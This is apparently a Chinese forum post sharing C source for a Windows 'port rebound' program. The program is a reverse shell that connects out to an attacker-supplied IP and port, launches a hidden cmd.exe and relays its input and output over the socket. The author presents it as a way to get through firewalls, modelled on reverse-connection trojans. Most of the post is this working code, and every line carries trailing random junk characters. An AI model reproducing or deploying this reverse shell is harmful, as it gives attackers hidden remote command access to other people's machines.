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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]v l?J  
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/* ============================== ''}2JJU{  
Rebound port in Windows NT vG~JK[  
By wind,2006/7 s#FX2r3=Fg  
===============================*/ ;N!opg))d<  
#include 0E#?H0<OeG  
#include  CP Ju=  
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#pragma comment(lib,"wsock32.lib") yC7lR#N8j0  
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void OutputShell(); .9q`Tf  
SOCKET sClient; RO| }WD)  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; VBz G`&NG  
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void main(int argc,char **argv) 6S^JmYq  
{ @zT2!C?^L  
WSADATA stWsaData; }$#PIyz  
int nRet; H__'K/nH+  
SOCKADDR_IN stSaiClient,stSaiServer; 1cD  
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if(argc != 3) ] -%B4lT  
{ ;&XC*R+  
printf("Useage:\n\rRebound DestIP DestPort\n"); i<*W,D6  
return; meZZQ:eSl  
} KgXu x-q  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ;_m; :<  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); { T?1v*.[  
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stSaiClient.sin_family = AF_INET; 7=a e^GKo  
stSaiClient.sin_port = htons(0); _% i!LyG  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); E+J+fi  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) |OIU)53A-  
{ Se>v|6  
printf("Bind Socket Failed!\n"); av~kF  
return; cXK.^@du  
} p MR4]G  
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stSaiServer.sin_family = AF_INET; WTu!/J<\  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); dte-2?%~j  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); lD$\t/8B  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) s3=sl WY=  
{ -fOBM 4  
printf("Connect Error!"); @ X5#?  
return; ~'N+O K  
} )gV @6w  
OutputShell(); ?L6wky{  
} u56F;y  
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void OutputShell() p tlag&Z  
{ yh{U!hG  
char szBuff[1024]; AsR}qqG  
SECURITY_ATTRIBUTES stSecurityAttributes; Wz;@Rl|F  
OSVERSIONINFO stOsversionInfo; ;WG%)^e  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; x M{SFF  
STARTUPINFO stStartupInfo; ,fvhP $n  
char *szShell; s1p<F,  
PROCESS_INFORMATION stProcessInformation; n>xuef   
unsigned long lBytesRead; omI"xx  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -`5L;cxwk4  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); L$^)QxH7  
stSecurityAttributes.lpSecurityDescriptor = 0; >J{e_C2ZS  
stSecurityAttributes.bInheritHandle = TRUE; hHgH'  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); tv5N wM  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); wpt5'|I  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); +1c[!;'  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H=9{|%iS  
stStartupInfo.wShowWindow = SW_HIDE; 8F/zrPG  
stStartupInfo.hStdInput = hReadPipe; |][PbN D  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 3U*4E?g  
g\H~Y@'{  
GetVersionEx(&stOsversionInfo); 2Hk21y\  
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switch(stOsversionInfo.dwPlatformId) G`f|#-}  
{ gi+FL_8CzU  
case 1: !ZY1AhGZ  
szShell = "command.com"; y:k7eE"  
break; S";}gw?r6  
default: Eo@rrM:  
szShell = "cmd.exe"; .Dy2O*`  
break; o1H6E1$=  
} B/B`=%~5_^  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); V!s#xXD}  
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send(sClient,szMsg,77,0); F(w<YU %6  
while(1) CKX3t:HP0  
{ +NoVe#  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 1*:BOoYx  
if(lBytesRead) SVPksr  
{ m?=J;r"Re  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); P` y.3aK  
send(sClient,szBuff,lBytesRead,0); {x~r$")c?  
} "ZuA._  
else \"d\b><R  
{ 4wx{i6  
lBytesRead=recv(sClient,szBuff,1024,0); NKRm#  
if(lBytesRead<=0) break; >AWWwq -  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); D8`SI2 1P  
} Nj +^;Y  
} W+Ou%uv}S  
:\^jIKvZ  
return; W>u{JgY  
}
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